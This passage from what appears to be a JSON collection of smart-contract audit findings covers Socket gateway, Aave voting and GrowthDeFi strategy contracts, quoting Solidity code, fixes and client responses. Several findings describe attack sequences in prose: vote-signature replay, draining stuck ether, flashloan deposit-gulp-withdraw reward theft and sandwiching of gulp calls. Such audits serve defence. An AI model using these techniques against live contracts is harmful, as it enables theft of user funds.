of view, the reimbursement will be marked as successful, and the address of the original sender corresponding to this transfer ID will be reset to address(0). It is then the responsibility of the user, once the locking delay has passed, to call another function to claim the tokens. Unfortunately, in our case, this means that the funds will be sent back to the gateway contract and not to the original sender. Because the gateway implements rescueEther, and rescueFunds functions, the admin might be able to send the funds back to the user. However, this requires manual intervention and breaks the trustlessness assumptions of the system. Also, in that case, there is no easy way to trace back the original address of the sender, that corresponds to this refund. src/bridges/cbridge/CelerImpl.sol:L120-L127 function bridgeAfterSwap( uint256 amount, bytes calldata bridgeData ) external payable override { CelerBridgeData memory celerBridgeData = abi.decode( bridgeData, (CelerBridgeData) ); src/bridges/stargate/l2/Stargate.sol:L183-L186 function swapAndBridge( uint32 swapId, bytes calldata swapData, StargateBridgeDataNoToken calldata stargateBridgeData Note that this violates the security assumption: The contracts are not supposed to hold any funds post-tx execution. Recommendation Make sure that CelerImpl supports also the delayed withdrawals functionality and that withdrawal requests are deleted only if the receiver has received the withdrawal in a single transaction. ", "labels": ["Consensys", "Major"], "html_url": "https://consensys.io/diligence/audits/2023/02/socket/"}, {"title": "6.2 Calls Made to Non-Existent/Removed Routes or Controllers Will Not Result in Failure ", "body": " Resolution Remediated as per the client team in SocketDotTech/socket-ll-contracts#145 by adding a Description This issue was found in commit hash a8d0ad1c280a699d88dc280d9648eacaf215fb41. In the Ethereum Virtual Machine (EVM), delegatecall will succeed for calls to externally owned accounts and more specifically to the zero address, which presents a potential security risk. We have identified multiple instances of delegatecall being used to invoke smart contract functions. This, combined with the fact that routes can be removed from the system by the owner of the SocketGateway contract using the disableRoute function, makes it possible for the user s funds to be lost in case of an executeRoute transaction (for instance) that s waiting in the mempool is eventually being front-ran by a call to disableRoute. Examples src/SocketGateway.sol:L95 (bool success, bytes memory result) = addressAt(routeId).delegatecall( src/bridges/cbridge/CelerImpl.sol:L208 .delegatecall(swapData); src/bridges/stargate/l1/Stargate.sol:L187 .delegatecall(swapData); src/bridges/stargate/l2/Stargate.sol:L190 .delegatecall(swapData); src/controllers/BaseController.sol:L50 .delegatecall(data); Even after the upgrade to commit hash d0841a3e96b54a9d837d2dba471aa0946c3c8e7b, the following bug is still present: src/SocketGateway.sol:L411-L428 function addressAt(uint32 routeId) public view returns (address) { if (routeId < 513) { if (routeId < 257) { if (routeId < 129) { if (routeId < 65) { if (routeId < 33) { if (routeId < 17) { if (routeId < 9) { if (routeId < 5) { if (routeId < 3) { if (routeId == 1) { return 0x822D4B4e63499a576Ab1cc152B86D1CFFf794F4f; } else { return 0x822D4B4e63499a576Ab1cc152B86D1CFFf794F4f; } else { src/SocketGateway.sol:L2971-L2972 if (routes[routeId] == address(0)) revert ZeroAddressNotAllowed(); return routes[routeId]; Recommendation Consider adding a check to validate that the callee of a delegatecall is indeed a contract, you may refer to the Address library by OZ. ", "labels": ["Consensys", "Major"], "html_url": "https://consensys.io/diligence/audits/2023/02/socket/"}, {"title": "6.3 Owner Can Add Arbitrary Code to Be Executed From the SocketGateway Contract ", "body": " Resolution The client team has responded with the following note: Noted, we will setup tests and rigorous processes around adding new routes. Description Since these routes are called via delegatecall(), they don t hold any storage variables that would be used in the Socket systems. However, as Socket aggregates more solutions, unexpected complexities may arise that could require storing and accessing variables through additional contracts. Those contracts would be access control protected to only have the SocketGateway contract have the privileges to modify its variables. This together with the Owner of the SocketGateway being able to add routes with arbitrary code creates an attack vector where a compromised address with Owner privileges may add a route that would contain code that exploits the special privileges assigned to the SocketGateway contract for their benefit. For example, the Celer bridge needs extra logic to account for its refund mechanism, so there is an additional CelerStorageWrapper contract that maintains a mapping between individual bridge transfer transactions and their associated msg.sender: src/bridges/cbridge/CelerImpl.sol:L145 celerStorageWrapper.setAddressForTransferId(transferId, msg.sender); src/bridges/cbridge/CelerStorageWrapper.sol:L6-L12 /** @title CelerStorageWrapper @notice handle storageMappings used while bridging ERC20 and native on CelerBridge @dev all functions ehich mutate the storage are restricted to Owner of SocketGateway @author Socket dot tech. / contract CelerStorageWrapper { Consequently, this contract has access-protected functions that may only be called by the SocketGateway to set and delete the transfer IDs: src/bridges/cbridge/CelerStorageWrapper.sol:L32 function setAddressForTransferId( src/bridges/cbridge/CelerStorageWrapper.sol:L52 function deleteTransferId(bytes32 transferId) external { A compromised Owner of SocketGateway could then create a route that calls into the CelerStorageWrapper contract and updates the transfer IDs associated addresses to be under their control via deleteTransferId() and setAddressForTransferId() functions. This could create a significant drain of user funds, though, it depends on a compromised privileged Owner address. Recommendation Although it may indeed be unlikely, for aggregating solutions it is especially important to try and minimize compromised access issues. As future solutions require more complexity, consider architecting their integrations in such a way that they require as few administrative and SocketGateway-initiated transactions as possible. Through conversations with the Socket team, it appears that solutions such as timelocks on adding new routes are being considered as well, which would help catch the problem before it appears as well. ", "labels": ["Consensys", "Medium"], "html_url": "https://consensys.io/diligence/audits/2023/02/socket/"}, {"title": "6.4 Dependency on Third-Party APIs to Create the Right Payload ", "body": " Resolution The client team has responded with the following note: We offset this risk by following 2 approaches - verifying oneinch calldata on our api before making full calldata for SocketGateway and making verifier contracts/libs that integrators can use to verify our calldata on their side before making actual transaction. Description The Socket system of routes and controllers integrates swaps, bridges, and potentially other solutions that are vastly different from each other. The function arguments that are required to execute them may often seem like a black box of a payload for a typical end user. In fact, even when users explicitly provide a destination token with an associated amount for a swap, these arguments themselves might not even be fully (or at all) used in the route itself. Instead, often the routes and controllers accept a bytes payload that contains all the necessary data for its action. These data payloads are generated off-chain, often via centralized APIs provided by the integrated systems themselves, which is understandable in isolation as they have to be generated somewhere at some point. However, the provided bytes do not get checked for their correctness or matching with the other arguments that the user explicitly provided. Even the events that get emitted refer to the individual arguments of functions as opposed to what actually was being used to execute the logic. src/swap/oneinch/OneInchImpl.sol:L59-L63 // additional data is generated in off-chain using the OneInch API which takes in // fromTokenAddress, toTokenAddress, amount, fromAddress, slippage, destReceiver, disableEstimate (bool success, bytes memory result) = ONEINCH_AGGREGATOR.call( swapExtraData ); Even the event at the end of the transaction partially refers to the explicitly provided arguments instead of those that actually facilitated the execution of logic src/swap/oneinch/OneInchImpl.sol:L84-L91 emit SocketSwapTokens( fromToken, toToken, returnAmount, amount, OneInchIdentifier, receiverAddress ); As Socket aggregates other solutions, it naturally incurs the trust assumptions and risks associated with its integrations. In some ways, they even stack on top of each other, especially in those Socket functions that batch several routes together all of them and their associated API calls need to return the correct payloads. So, there is an opportunity to minimize these risks by introducing additional checks into the contracts that would verify the correctness of the payloads that are passed over to the routes and controllers. In fact, creating these payloads within the contracts would allow other systems to integrate Socket more simpler as they could just call the functions with primary logical arguments such as the source token, destination token, and amount. Recommendation Consider allocating additional checks within the route implementations that ensure that the explicitly passed arguments match what is being sent for execution to the integrated solutions, like in the above example with the 1inch implementation. ", "labels": ["Consensys", "Medium"], "html_url": "https://consensys.io/diligence/audits/2023/02/socket/"}, {"title": "6.5 NativeOptimismImpl - Events Will Not Be Emitted in Case of Non-Native Tokens Bridging ", "body": " Resolution Remediated as per the client team in SocketDotTech/socket-ll-contracts#146 by moving the event above the bridging code, making sure events are emitted for all cases, and adding the fix to other functions that had a similar issue. Description In the case of the usage of non-native tokens by users, the SocketBridge event will not be emitted since the code will return early. Examples src/bridges/optimism/l1/NativeOptimism.sol:L110 function bridgeAfterSwap( src/bridges/optimism/l1/NativeOptimism.sol:L187 function swapAndBridge( src/bridges/optimism/l1/NativeOptimism.sol:L283 function bridgeERC20To( Recommendation Make sure that the SocketBridge event is emitted for non-native tokens as well. ", "labels": ["Consensys", "Medium"], "html_url": "https://consensys.io/diligence/audits/2023/02/socket/"}, {"title": "6.6 Inconsistent Comments ", "body": " Resolution Remediated as per the client team in SocketDotTech/socket-ll-contracts#147. Description Some of the contracts in the code have incorrect developer comments annotated for them. This could create confusion for future readers of this code that may be trying to maintain, audit, update, fork, integrate it, and so on. Examples src/bridges/stargate/l2/Stargate.sol:L174-L183 /** @notice function to bridge tokens after swap. This is used after swap function call @notice This method is payable because the caller is doing token transfer and briding operation @dev for usage, refer to controller implementations encodedData for bridge should follow the sequence of properties in Stargate-BridgeData struct @param swapId routeId for the swapImpl @param swapData encoded data for swap @param stargateBridgeData encoded data for StargateBridgeData / function swapAndBridge( This is the same comment as bridgeAfterSwap, whereas it instead does swapping and bridging together src/bridges/cbridge/CelerStorageWrapper.sol:L24-L32 /** @notice function to store the transferId and message-sender of a bridging activity @notice This method is payable because the caller is doing token transfer and briding operation @dev for usage, refer to controller implementations encodedData for bridge should follow the sequence of properties in CelerBridgeData struct @param transferId transferId generated during the bridging of ERC20 or native on CelerBridge @param transferIdAddress message sender who is making the bridging on CelerBridge / function setAddressForTransferId( This comment refers to a payable property of this function when it isn t. src/bridges/cbridge/CelerStorageWrapper.sol:L45-L52 /** @notice function to store the transferId and message-sender of a bridging activity @notice This method is payable because the caller is doing token transfer and briding operation @dev for usage, refer to controller implementations encodedData for bridge should follow the sequence of properties in CelerBridgeData struct @param transferId transferId generated during the bridging of ERC20 or native on CelerBridge / function deleteTransferId(bytes32 transferId) external { This comment is copied from the above function when it does the opposite of storing - it deletes the transferId Recommendation Adjust comments so they reflect what the functions are actually doing. ", "labels": ["Consensys", "Minor"], "html_url": "https://consensys.io/diligence/audits/2023/02/socket/"}, {"title": "6.7 Ether Might Be Sent to Routes by Mistake, and Can Be Stolen ", "body": " Resolution The client team has responded with the following note: This can happen only if there is an error in API or integration. There are test cases to verify value on API side and we also run an automated testing suite using small amounts after each upgrade to the API before releasing to public. We also work with integrators to test out the flow covering all edge cases before they release. Overall we are fine with taking this risk and relying on rescue function to recover funds while testing. Description Most functions of SocketGateway are payable, and can receive ether, which is processed in different ways, depending on the routes. A user might send ether to a payable function of SocketGateway with a wrong payload, either by mistake or because of an API bug. Let s illustrate the issue with the performAction of the 1inch route. However, this can be generalized to other routes. src/SocketGateway.sol:L90-L97 function executeRoute( uint32 routeId, bytes calldata routeData, bytes calldata eventData ) external payable returns (bytes memory) { (bool success, bytes memory result) = addressAt(routeId).delegatecall( routeData ); function performAction( address fromToken, address toToken, uint256 amount, address receiverAddress, bytes calldata swapExtraData ) external payable override returns (uint256) { uint256 returnAmount; if (fromToken != NATIVE_TOKEN_ADDRESS) { ... ... (bool success, bytes memory result) = ONEINCH_AGGREGATOR.call( swapExtraData //<-- here we do not use the value ); ... } else { .... (bool success, bytes memory result) = ONEINCH_AGGREGATOR.call{ value: amount //<-- here we use the value }(swapExtraData); ... ... Assume the user sent some ETH, but sent a payload with fromToken != NATIVE_TOKEN_ADDRESS (and the user has already approved the gateway for fromToken). Then, the ether is not used in the transaction and remains stuck in the SocketGateway contract. This is because the function only executes the part of the code that transfers and swaps ERC-20 tokens, but not the part that handles ether. Now, suppose another user calls the performAction function with fromToken == NATIVE_TOKEN_ADDRESS and provides enough gas to execute the function. Since there is ether stuck in the contract, this user can force the contract to use the stuck ether to execute the swap by sending the exact amount of ether stuck in the contract as the value of the transaction, effectively stealing the funds. This is why it s important to ensure that ether is only accepted when it is needed and not left stuck in the contract, as it can be vulnerable to theft in future transactions. One could be tempted to fix the issue by requiring that the gateway balance always equals 0 at the end of the transaction. However, this is not a good idea, as anyone could cause a Denial of Service in the gateway by sending a tiny amount of ETH. One might also be tempted to fix this issue by requiring that msg.value == 0 iff fromToken != NATIVE_TOKEN_ADDRESS. However, this also poses a problem, as the gateway might execute multiple routes in a for loop. This could lead to reverting valid transactions (when both native and non-native tokens are involved). The best way to solve this issue might be to compare the balance of the gateway before and after the transaction in all relevant functions. The balance should stay the same otherwise, something wrong happened, and we should revert the transaction. This could be implemented by adding a modifier in SocketGateway, that compares the balance of the gateway before and after the function call. Below is an example to illustrate the idea. modifier checkGatewayBalance() { uint256 initialBalance = address(this).balance; _; uint256 finalBalance = address(this).balance; require(initialBalance == finalBalance, \"Gateway balance changed during execution\"); issue 6.1) ", "labels": ["Consensys", "Minor"], "html_url": "https://consensys.io/diligence/audits/2023/02/socket/"}, {"title": "6.8 No Event Is Emitted When Invoking a Route Through the socketGateway Fallback Function ", "body": " Resolution Remediated as per the client team in SocketDotTech/socket-ll-contracts#152. Further discussion about the scope of events in these cases is still ongoing. Description When a route is invoked through executeRoute, or executeRoutes functions, a SocketRouteExecuted event is emitted. However, a route can also be executed by invoking the fallback function of the socketGateway. And in that case, no event is emitted. This might impact off-chain systems that rely on those events. Recommendation Consider also emitting a SocketRouteExecuted event in case the route is invoked through the fallback function ", "labels": ["Consensys", "Minor"], "html_url": "https://consensys.io/diligence/audits/2023/02/socket/"}, {"title": "6.9 Unused Error Codes. ", "body": " Resolution Remediated as per the client team in SocketDotTech/socket-ll-contracts#148. Description SocketErrors.sol has errors that are defined but are not used: error RouteAlreadyExist(); error ContractContainsNoCode(); error ControllerAlreadyExist(); error ControllerAddressIsZero(); It seems that they were created as errors that may have been expected to occur during the early stages of development, but the resulting architecture doesn t seem to have a place for them currently. Examples src/errors/SocketErrors.sol:L12-L19 error RouteAlreadyExist(); error SwapFailed(); error UnsupportedInterfaceId(); error ContractContainsNoCode(); error InvalidCelerRefund(); error CelerAlreadyRefunded(); error ControllerAlreadyExist(); error ControllerAddressIsZero(); Recommendation Consider revisiting these errors and identifying whether they need to remain or can be removed. ", "labels": ["Consensys", "Minor"], "html_url": "https://consensys.io/diligence/audits/2023/02/socket/"}, {"title": "6.10 Inaccurate Interface. ", "body": " Resolution Remediated as per the client team in SocketDotTech/socket-ll-contracts#149. Description ISocketGateway implies a bridge(uint32 routeId, bytes memory data) function, but there is no socket contract with a function like that, including the SocketGateway contract. Examples src/interfaces/ISocketGateway.sol:L32-L35 function bridge( uint32 routeId, bytes memory data ) external payable returns (bytes memory); Recommendation Adjust the interface. ", "labels": ["Consensys", "Minor"], "html_url": "https://consensys.io/diligence/audits/2023/02/socket/"}, {"title": "6.11 Validate Array Length Matching Before Execution to Avoid Reverts ", "body": " Resolution Remediated as per the client team in SocketDotTech/socket-ll-contracts#150 by adding the necessary array length checks. Description The Socket system not only aggregates different solutions via its routes and controllers but also allows to batch calls between them into one transaction. For example, a user may call swaps between several DEXs and then perform a bridge transfer. As a result, the SocketGateway contract has many functions that accept multiple arrays that contain the necessary data for execution in their respective routes. However, these arrays need to be of the same length because individual elements in the arrays are intended to be matched at the same indices: src/SocketGateway.sol:L196-L218 function executeRoutes( uint32[] calldata routeIds, bytes[] calldata dataItems, bytes[] calldata eventDataItems ) external payable { uint256 routeIdslength = routeIds.length; for (uint256 index = 0; index < routeIdslength; ) { (bool success, bytes memory result) = addressAt(routeIds[index]) .delegatecall(dataItems[index]); if (!success) { assembly { revert(add(result, 32), mload(result)) emit SocketRouteExecuted(routeIds[index], eventDataItems[index]); unchecked { ++index; Note that in the above example function, all 3 different calldata arrays routeIds, dataItems, and eventDataItems were utilizing the same index to retrieve the correct element. A common practice in such cases is to confirm that the sizes of the arrays match before continuing with the execution of the rest of the transaction to avoid costly reverts that could happen due to Index out of bounds error. Due to the aggregating and batching nature of the Socket system that may have its users rely on 3rd party offchain APIs to construct these array payloads, such as from APIs of the systems that Socket is integrating, a mishap in just any one of them could cause this issue. Recommendation Implement a check on the array lengths so they match. ", "labels": ["Consensys", "Minor"], "html_url": "https://consensys.io/diligence/audits/2023/02/socket/"}, {"title": "6.12 Destroyed Routes Eth Balances Will Be Left Locked in SocketDeployFactory ", "body": " Resolution Remediated as per the client team in SocketDotTech/socket-ll-contracts#151 by adding rescue functions. Description SocketDeployFactory.destroy calls the killme function which in turn self-destructs the route and sends back any eth to the factory contract. However, these funds can not be claimed from the SocketDeployFactory contract. Examples src/deployFactory/SocketDeployFactory.sol:L170 function destroy(uint256 routeId) external onlyDisabler { Recommendation Make sure that these funds can be claimed. ", "labels": ["Consensys", "Minor"], "html_url": "https://consensys.io/diligence/audits/2023/02/socket/"}, {"title": "6.13 Possible Double Spends of msg.value in Code Paths That Include More Than One Delegatecall ", "body": " Resolution The client team has responded with the following note: Adding the recommended CI/CD task to verify that future routes are delegate safe. Description The usage of msg.value multiple times in the context of a single transaction is dangerous and may lead to loss of funds as previously seen (in a different variation) in the Opyn hack. We were not able to find any concrete instance of the described issue, however, we do see how this pitfall may become an issue in future delegatee contracts. Examples Every code path that includes multiple delegatecalls, including: SocketGateway.swapAndMultiBridge the swapAndBridge function in all the different route contracts. Recommendation Consider implementing this recommendation. ", "labels": ["Consensys", "Minor"], "html_url": "https://consensys.io/diligence/audits/2023/02/socket/"}, {"title": "5.1 VotingMachine - tryToMoveToValidating can lock up proposals ", "body": " Resolution Fixed per our recommendation. Description After a vote was received, the proposal can move to a validating state if any of the votes pass the proposal s precReq value, referred to as the minimum threshold. code/contracts/governance/VotingMachine.sol:L391 tryToMoveToValidating(_proposalId); Inside the method tryToMoveToValidating each of the vote options are checked to see if they pass precReq. In case that happens, the proposal goes into the next stage, specifically Validating. code/contracts/governance/VotingMachine.sol:L394-L407 /// @notice Function to move to Validating the proposal in the case the last vote action /// was done before the required votingBlocksDuration passed /// @param _proposalId The id of the proposal function tryToMoveToValidating(uint256 _proposalId) public { Proposal storage _proposal = proposals[_proposalId]; require(_proposal.proposalStatus == ProposalStatus.Voting, \"VOTING_STATUS_REQUIRED\"); if (_proposal.currentStatusInitBlock.add(_proposal.votingBlocksDuration) <= block.number) { for (uint256 i = 0; i <= COUNT_CHOICES; i++) { if (_proposal.votes[i] > _proposal.precReq) { internalMoveToValidating(_proposalId); The method internalMoveToValidating checks the proposal s status to be Voting and proceeds to moving the proposal into Validating state. code/contracts/governance/VotingMachine.sol:L270-L278 /// @notice Internal function to change proposalStatus from Voting to Validating /// @param _proposalId The id of the proposal function internalMoveToValidating(uint256 _proposalId) internal { Proposal storage _proposal = proposals[_proposalId]; require(_proposal.proposalStatus == ProposalStatus.Voting, \"ONLY_ON_VOTING_STATUS\"); _proposal.proposalStatus = ProposalStatus.Validating; _proposal.currentStatusInitBlock = block.number; emit StatusChangeToValidating(_proposalId); The problem appears if multiple vote options go past the minimum threshold. This is because the loop does not stop after the first found option and the loop will fail when the method internalMoveToValidating is called a second time. code/contracts/governance/VotingMachine.sol:L401-L405 for (uint256 i = 0; i <= COUNT_CHOICES; i++) { if (_proposal.votes[i] > _proposal.precReq) { internalMoveToValidating(_proposalId); The method internalMoveToValidating fails the second time because the first time it is called, the proposal goes into the Validating state and the second time it is called, the require check fails. code/contracts/governance/VotingMachine.sol:L274-L275 require(_proposal.proposalStatus == ProposalStatus.Voting, \"ONLY_ON_VOTING_STATUS\"); _proposal.proposalStatus = ProposalStatus.Validating; This can lead to proposal lock-ups if there are enough votes to at least one option that pass the minimum threshold. Recommendation After moving to the Validating state return successfully. function tryToMoveToValidating(uint256 _proposalId) public { Proposal storage _proposal = proposals[_proposalId]; require(_proposal.proposalStatus == ProposalStatus.Voting, \"VOTING_STATUS_REQUIRED\"); if (_proposal.currentStatusInitBlock.add(_proposal.votingBlocksDuration) <= block.number) { for (uint256 i = 0; i <= COUNT_CHOICES; i++) { if (_proposal.votes[i] > _proposal.precReq) { internalMoveToValidating(_proposalId); return; // <- this was added An additional change can be done to internalMoveToValidating because it is called only in tryToMoveToValidating and the parent method already does the check. /// @notice Internal function to change proposalStatus from Voting to Validating /// @param _proposalId The id of the proposal function internalMoveToValidating(uint256 _proposalId) internal { Proposal storage _proposal = proposals[_proposalId]; // The line below can be removed // require(_proposal.proposalStatus == ProposalStatus.Voting, \"ONLY_ON_VOTING_STATUS\"); _proposal.proposalStatus = ProposalStatus.Validating; _proposal.currentStatusInitBlock = block.number; emit StatusChangeToValidating(_proposalId); ", "labels": ["Consensys", "Major", "Fixed"], "html_url": "https://consensys.io/diligence/audits/2020/08/aave-governance-dao/"}, {"title": "5.2 VotingMachine - verifyNonce should only allow the next nonce ", "body": " Resolution Fixed per our recommendation. Description When a relayer calls submitVoteByRelayer they also need to provide a nonce. This nonce is cryptographicly checked against the provided signature. It is also checked again to be higher than the previous nonce saved for that voter. code/contracts/governance/VotingMachine.sol:L232-L239 /// @notice Verifies the nonce of a voter on a proposal /// @param _proposalId The id of the proposal /// @param _voter The address of the voter /// @param _relayerNonce The nonce submitted by the relayer function verifyNonce(uint256 _proposalId, address _voter, uint256 _relayerNonce) public view { Proposal storage _proposal = proposals[_proposalId]; require(_proposal.voters[_voter].nonce < _relayerNonce, \"INVALID_NONCE\"); When the vote is saved, the previous nonce is incremented. code/contracts/governance/VotingMachine.sol:L387 voter.nonce = voter.nonce.add(1); This leaves the opportunity to use the same signature to vote multiple times, as long as the provided nonce is higher than the incremented nonce. Recommendation The check should be more restrictive and make sure the consecutive nonce was provided. require(_proposal.voters[_voter].nonce + 1 == _relayerNonce, \"INVALID_NONCE\"); ", "labels": ["Consensys", "Major", "Fixed"], "html_url": "https://consensys.io/diligence/audits/2020/08/aave-governance-dao/"}, {"title": "5.3 VoteMachine - Cancelling vote does not increase the nonce ", "body": " Resolution Fixed per our recommendation. Description A vote can be cancelled by calling cancelVoteByRelayer with the proposal ID, nonce, voter s address, signature and a hash of the sent params. The parameters are hashed and checked against the signature correctly. The nonce is part of these parameters and it is checked to be valid. code/contracts/governance/VotingMachine.sol:L238 require(_proposal.voters[_voter].nonce < _relayerNonce, \"INVALID_NONCE\"); Once the vote is cancelled, the data is cleared but the nonce is not increased. code/contracts/governance/VotingMachine.sol:L418-L434 if (_cachedVoter.balance > 0) { _proposal.votes[_cachedVoter.vote] = _proposal.votes[_cachedVoter.vote].sub(_cachedVoter.balance.mul(_cachedVoter.weight)); _proposal.totalVotes = _proposal.totalVotes.sub(1); voter.weight = 0; voter.balance = 0; voter.vote = 0; voter.asset = address(0); emit VoteCancelled( _proposalId, _voter, _cachedVoter.vote, _cachedVoter.asset, _cachedVoter.weight, _cachedVoter.balance, uint256(_proposal.proposalStatus) ); This means that in the future, the same signature can be used as long as the nonce is still higher than the current one. Recommendation Considering the recommendation from issue https://github.com/ConsenSys/aave-governance-dao-audit-2020-01/issues/4 is implemented, the nonce should also increase when the vote is cancelled. Otherwise the same signature can be replayed again. ", "labels": ["Consensys", "Minor", "Fixed"], "html_url": "https://consensys.io/diligence/audits/2020/08/aave-governance-dao/"}, {"title": "5.4 Possible lock ups with SafeMath multiplication ", "body": " Resolution The situation described is unlikely to occur, and does not justify mitigations which might introduce other risks. Description In some cases using SafeMath can lead to a situation where a contract is locked up due to an unavoidable overflow. It is theoretically possible that both the internalSubmitVote() and internalCancelVote() functions could become unusable by voters with a high enough balance, if the asset weighting is set extremely high. Examples This line in internalSubmitVote() could overflow if the voter s balance and the asset weight were sufficiently high: code/contracts/governance/VotingMachine.sol:L379 uint256 _votingPower = _voterAssetBalance.mul(_assetWeight); A similar situation occurs in internalCancelVote(): code/contracts/governance/VotingMachine.sol:L419-L420 _proposal.votes[_cachedVoter.vote] = _proposal.votes[_cachedVoter.vote].sub(_cachedVoter.balance.mul(_cachedVoter.weight)); _proposal.totalVotes = _proposal.totalVotes.sub(1); Recommendation This could be protected against by setting a maximum value for asset weights. In practice it is very unlikely to occur in this situation, but it could be introduced at some point in the future. ", "labels": ["Consensys", "Minor", "Acknowledged"], "html_url": "https://consensys.io/diligence/audits/2020/08/aave-governance-dao/"}, {"title": "6.1 Frontrunning attacks by the owner ", "body": " Resolution The client communicated this issue was addressed in commit 34c6b355795027d27ae6add7360e61eb6b01b91b. Description There are few possible attack vectors by the owner: All strategies have fees from rewards. In addition to that, the PancakeSwap strategy has deposit fees. The default deposit fees equal zero; the maximum is limited to 5%: wheat-v1-core-audit/contracts/PancakeSwapCompoundingStrategyToken.sol:L29-L33 uint256 constant MAXIMUM_DEPOSIT_FEE = 5e16; // 5% uint256 constant DEFAULT_DEPOSIT_FEE = 0e16; // 0% uint256 constant MAXIMUM_PERFORMANCE_FEE = 50e16; // 50% uint256 constant DEFAULT_PERFORMANCE_FEE = 10e16; // 10% When a user deposits tokens, expecting to have zero deposit fees, the owner can frontrun the deposit and increase fees to 5%. If the deposit size is big enough, that may be a significant amount of money. In the gulp function, the reward tokens are exchanged for the reserve tokens on the exchange: wheat-v1-core-audit/contracts/PancakeSwapCompoundingStrategyToken.sol:L218-L244 function gulp(uint256 _minRewardAmount) external onlyEOAorWhitelist nonReentrant { \tuint256 _pendingReward = _getPendingReward(); \tif (_pendingReward > 0) { \t\t_withdraw(0); \t} \t{ \t\tuint256 _totalReward = Transfers._getBalance(rewardToken); \t\tuint256 _feeReward = _totalReward.mul(performanceFee) / 1e18; \t\tTransfers._pushFunds(rewardToken, collector, _feeReward); \t} \tif (rewardToken != routingToken) { \t\trequire(exchange != address(0), \"exchange not set\"); \t\tuint256 _totalReward = Transfers._getBalance(rewardToken); \t\tTransfers._approveFunds(rewardToken, exchange, _totalReward); \t\tIExchange(exchange).convertFundsFromInput(rewardToken, routingToken, _totalReward, 1); \t} \tif (routingToken != reserveToken) { \t\trequire(exchange != address(0), \"exchange not set\"); \t\tuint256 _totalRouting = Transfers._getBalance(routingToken); \t\tTransfers._approveFunds(routingToken, exchange, _totalRouting); \t\tIExchange(exchange).joinPoolFromInput(reserveToken, routingToken, _totalRouting, 1); \t} \tuint256 _totalBalance = Transfers._getBalance(reserveToken); \trequire(_totalBalance >= _minRewardAmount, \"high slippage\"); \t_deposit(_totalBalance); } The owner can change the exchange parameter to the malicious address that steals tokens. The owner then calls gulp with _minRewardAmount==0, and all the rewards will be stolen. The same attack can be implemented in fee collectors and the buyback contract. Recommendation Use a timelock to avoid instant changes of the parameters. ", "labels": ["Consensys", "Major"], "html_url": "https://consensys.io/diligence/audits/2021/06/growthdefi-wheat/"}, {"title": "6.2 New deposits are instantly getting a share of undistributed rewards ", "body": " Resolution The client communicated this issue was addressed in commit 34c6b355795027d27ae6add7360e61eb6b01b91b. Description When a new deposit is happening, the current pending rewards are not withdrawn and re-invested yet. And they are not taken into account when calculating the number of shares that the depositor receives. The number of shares is calculated as if there were no pending rewards. The other side of this issue is that all the withdrawals are also happening without considering the pending rewards. So currently, it makes more sense to withdraw right after gulp to gather the rewards. In addition to the general unfairness of the reward distribution during the deposit/withdrawal, there is also an attack vector created by this issue. The Attack If the deposit is made right before the gulp function is called, the rewards from the gulp are distributed evenly across all the current deposits, including the ones that were just recently made. So if the deposit-gulp-withdraw sequence is executed, the caller receives guaranteed profit. If the attacker also can execute these functions briefly (in one block or transaction) and take a huge loan to deposit a lot of tokens, almost all the rewards from the gulp will be stolen by the attacker. The easy 1-transaction attack with a flashloan can be done by the owner, miner, whitelisted contracts, or any contract if the onlyEOAorWhitelist modifier is disabled or stops working (https://github.com/ConsenSys/growthdefi-audit-2021-06/issues/3). Even if onlyEOAorWhitelist is working properly, anyone can take a regular loan to make the attack. The risk is not that big because no price manipulation is required. The price will likely remain the same during the attack (few blocks maximum). Recommendation If issue issue 6.3 is fixed while allowing anyone call the gulp contract, the best solution would be to include the gulp call at the beginning of the deposit and withdraw. In case of withdrawing, there should also be an option to avoid calling gulp as the emergency case. ", "labels": ["Consensys", "Major"], "html_url": "https://consensys.io/diligence/audits/2021/06/growthdefi-wheat/"}, {"title": "6.3 Proactive sandwiching of the gulp calls ", "body": " Resolution The client communicated this issue was addressed in commit 34c6b355795027d27ae6add7360e61eb6b01b91b. Description Each strategy token contract provides a gulp method to fetch pending rewards, convert them into the reserve token and split up the balances. One share is sent to the fee collector as a performance fee, while the rest is deposited into the respective MasterChef contract to accumulate more rewards. Suboptimal trades are prevented by passing a minimum slippage value with the function call, which results in revert if the expected reserve token amount cannot be provided by the trade(s). The slippage parameter and the trades performed in gulp open the function up to proactive sandwich attacks. The slippage parameter can be freely set by the attacker, resulting in the system performing arbitrarily bad trades based on how much the attacker can manipulate the liquidity of involved assets around the gulp function call. This attack vector is significant under the following assumptions: The exchange the trade is performed on allows significant changes in liquidity pools in a single transaction (e.g., not limiting transactions to X% of the pool amount), The attacker can frontrun legitimate gulp calls with reasonable slippage values, Trades are performed, i.e. when rewardToken != routingToken and/or routingToken != reserveToken hold true. Examples This affects the gulp functions in all the strategies: PancakeSwapCompoundingStrategyToken AutoFarmCompoundingStrategyToken PantherSwapCompoundingStrategyToken and also fees collectors and the buyback adapters: PantherSwapBuybackAdapter AutoFarmFeeCollectorAdapter PancakeSwapFeeCollector UniversalBuyback Recommendation There are different possible solutions to this issue and all have some tradeoffs. Initially, we came up with the following suggestion: The onlyOwner modifier should be added to the gulp function to ensure only authorized parties with reasonable slippages can execute trades on behalf of the strategy contracts. Furthermore, additional slippage checks can be added to avoid unwanted behavior of authorized addresses, e.g., to avoid a bot setting unreasonable slippage values due to a software bug. But in order to fix another issue (https://github.com/ConsenSys/growthdefi-audit-2021-06/issues/8), we came up with the alternative solution: Use oracles to restrict users from calling the gulp function with unreasonable slippage (more than 5% from the oracle s moving average price). The side effect of that solution is that sometimes the outdated price will be used. That means that when the price crashes, nobody will be able to call the gulp. ", "labels": ["Consensys", "Major"], "html_url": "https://consensys.io/diligence/audits/2021/06/growthdefi-wheat/"}, {"title": "6.4 Expected amounts of tokens in the withdraw function ", "body": " Resolution Client s statement : This issue did not really need fixing. The mitigation was already in place by depositing a tiny amount of the reserve into the contract, if necessary Description Every withdraw function in the strategy contracts is calculating the expected amount of the returned tokens before withdrawing them: wheat-v1-core-audit/contracts/PantherSwapCompoundingStrategyToken.sol:L200-L208 function withdraw(uint256 _shares, uint256 _minAmount) external onlyEOAorWhitelist nonReentrant address _from = msg.sender; (uint256 _amount, uint256 _withdrawalAmount, uint256 _netAmount) = _calcAmountFromShares(_shares); require(_netAmount >= _minAmount, \"high slippage\"); _burn(_from, _shares); _withdraw(_amount); Transfers._pushFunds(reserveToken, _from, _withdrawalAmount); After that, the contract is trying to transfer this pre-calculated amount to the msg.sender. It is never checked whether the intended amount was actually transferred to the strategy contract. If the amount is lower, that may result in reverting the withdraw function all the time and locking up tokens. 